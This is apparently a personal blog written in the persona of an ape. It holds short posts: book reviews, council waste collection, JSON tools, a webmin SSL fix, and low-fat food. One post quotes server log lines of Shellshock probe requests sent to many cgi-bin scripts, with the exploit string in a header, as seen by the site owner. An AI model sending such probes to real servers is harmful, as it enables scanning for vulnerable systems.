The human sized coffin – or council waste disposal

binRubbish is an subject we all generate* but rarely talk about.  The monkey house already has compost bins for our bananas and so our food rubbish profile is limited.  We had a general rubbish bin, and paper, bottle, tin and plastic containers as well.

However with  new collection scheme meant the tin, and glass boxes are now rubbish replaced by one huge wheelie bin. Food waste gets its own small container, and yet another huge bin is for general waste.  So technically we apes here in the zoo can murder two humans a every two weeks** from now on.

Lets hope nobody notices.

Anyhow the recycle bin gets fairly full, the other waste is minimal and the slugs that used to grow in the old boxes are no more and we think Camdem as a locale is bit cleaner as the foxes (my blog) cannot get into the rubbish on collection day.

* even on this blog ** i am sure the civil defense people (mu blog) had a say in this, and there’s a chainsaw somewhere too for efficiency

Interesting but unusable.

mingThe zoo likes json, it is encapsulated in something else and mostly does what it is required to do.  I have a feature request and i feel it could be better.  Recently i had a look at mongodb which stores things as json so its look at.

I rather liked mongodb  however it alone does not add much for my feature. That led me to node.js which is a bit like java servlets for javascript, i got it working but it had no wow factor, and running nodes as well seems to require configs.

However i did find a new query plugin that does what my code already did, and replicates 50%  its behavior.

I think the age of json is upon us with offline applications of html.

The man with the compound eyes, Wu Ming-Yi

rubberduckisbn: 9781846556708 is an odd book with a mythical man story (my blog),  and an jaded literature professor mix. Mt Ming Yi hails from Taiwan so there is not much to compare it with.

Combining asian class distinctions, folk tales the past presert and future i am afraid to say while this might make literature types orgasm it left me cold.  If i was to be academic the past present and future bits might be construed as science fiction or even the dreaded fantasy..

Better books exist on garbage patches (my blog) Islands, and gods (my blog)

1/5 bananas Meh


Making webmin and firefox 32 play nice again.

are-you-serious-wtf-meme-baby-faceI use webmin on a daily basis, and while i don’t do a lot of stuff with it as it cannot handle the complexity it is nice to have as a tool. It had ssl enabled and as firefox freaks out about the self certified issue (my blog) i had an exception in firefox.

Self certified might be frowned upon in ssl  consultant land but it makes attacks a bit harder as a virgin browser has to go through the  OH NO WORLD WAR THREE is about to start in Mozilla interpretation of the non ca ssl.  Chrome is also a bit of whinger in this regard however it allowed me in when firefox would not.

I don’t consider this a webmin issue.

Knowing that the key was too short i generated a newer key from inside webmin in http mode with chrome (my blog) and turned on and firefox finally allowed me to use firefox again.

Anyhow its an easy fix and as firefox feels safe i do too despite my issues with the ssl industry and the false sense of security it offers to many.


this changes everything, Naomi Klein

soylentgreenisbn: 9781846145056 is an author i have read and mentioned before (my blog) .  This book is ranty and while i agree climate change is going on i disagree with both left and rights interpretation as to how to fix it.

The Somerset levels flooding in the UK even gets a mention but the author forgets that mismanaging the land even before that and that it had flooded in the dim and distant past it does need management and if this is not done by either a green charity who own most of the land there now then how it wrong to finally do something rather than spend it somewhere else where a cut by the liberals are deemed as 100% wrong.

Sticking with nearing sinking Somerset* is it apparently ok to rebuild the new orleans water systems but not ok to spend some money in Somerset.  Go figure.

The right think that innovation will fix things, the left on quota’s.

Klein correctly notes the affect of ttpp, nafta, and wto organisation rules have on democratic institutions but has an us/canadian bias and she seems to forget the eco footprint from say producing widgets in x and sending them to a etc.

Saint Naomi has a lucid moment on page 160 and has a go everybody even saint bill gates and the billionaires.  After all what ever happened to Jonathan Porit.  The Nature Conservamcy council is also a sick take on ‘green’ which one also say also applies with the lack of drainage in somerset mentioned above by a charity.

nativeMy problem with this book is with saint Noami who cannot square away the rights of people, with conservation unless you become a native Indian.

It is a negative and ranty book and i lost interest

2/5 bananas. An example of the strange thinking is summed up in the next paragraph.

Candle** ligthing seems a safe choice as even nuclear is deemed bad, if you have given up nuclear then you also get bashed for using toxic alternatives as a stunning example of thinking in this book.

I suggest that there are better books out there like this (my blog)

* wellies for that festival event ** parafin or whale oil is a question

China bashing

chinaAnother week (my blog) and another netblock.

who count what /


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“GET /cgi-bin/index.cgi” “() { :;}; echo `echo xbash:test`”
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“GET /cgi-bin/about.cgi “() { :;}; echo `echo xbash:test`”
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“GET /cgi-bin/click.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/details.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/viewcontent.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/content.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/admin.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/webmail.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/mailview.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/finger.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/redirector.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/test.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/index.cgi “() { :;}; echo `echo xbash:test`”
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“GET /cgi-bin/details.cgi “() { :;}; echo `echo xbash:test`”
“GET /cgi-bin/viewcontent.cgi “() { :;}; echo `echo xbash:test`
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“GET /cgi-bin/webmail.cgi “() { :;}; echo `echo xbash:test`”
count 23

The duplicates are redirects to ssl

The provincial lady in america, E M Delafield

e-m-delafieldisbn: 089735392 is an author i have read but probably not bloged about and i like but have not got around to saying* so,

Her prior two books that i knew of [the diary isbn 0897330536] and [in russia isbn:0897331567] are a look at 1930’s life and [america] just happened to be in a library.I borrowed it as one does. The first deals with english life and is fun, in russia a tale of life is told via toothache and unlike other novelists who thought Russia could do no wrong the paradise of other writers is not seen.

[America] is treated to a visit from the author during prohibition (my blog) and if you like the style then it continues in the way.

.4/5 bananas although not as natural as some of the books i mentioned above..

Low fat food

Food is a minefield – things that look like recognisable products can be faked take sudan1 (my blog), margarine is another with now dubious benefits.  That is before i get corn starch (my blog).  The message from science is political on this one and views keep changing depending on your standpoint.

trippy cow

trippy cow

The latest disaster in the monkey house is low fat cheese.  How cheese is/or becomes  low fat means some amusing gags – cows on running machines at fitness farms ?  Anyhow this misbuy was filling but it had no taste.

I wonder how many people try to eat ‘healthy’ but get tricked into what the food industry deems ‘ok’ and legal say cheese that is not cheese, or hfcs instead of sugar.  Thus not achieving healthy.


The wolf of wall street, Jordan Belfort

jordanbelfortisbn: 9781444788120 may ring a bell as it became a film.  I have not seen the film and found this book on a shelf in a library as i have read books about crooks (this blog) and another (my blog) surely another in his words will be no challenge for this ape.

Mr Belfort is best described as a philistine or in his own words ‘pond scum’ who cannot get an erection, and spent what he did not owe and hired likewise ‘professionals’ to work in wall street with him.  Boilerroom (my blog0 might describe it in the days before this (my blog).

I aborted on page 30 as this is more about the perks of the job rather than any semantic content worth reading.

Sort of explains why it got filmed. 0/5 bananas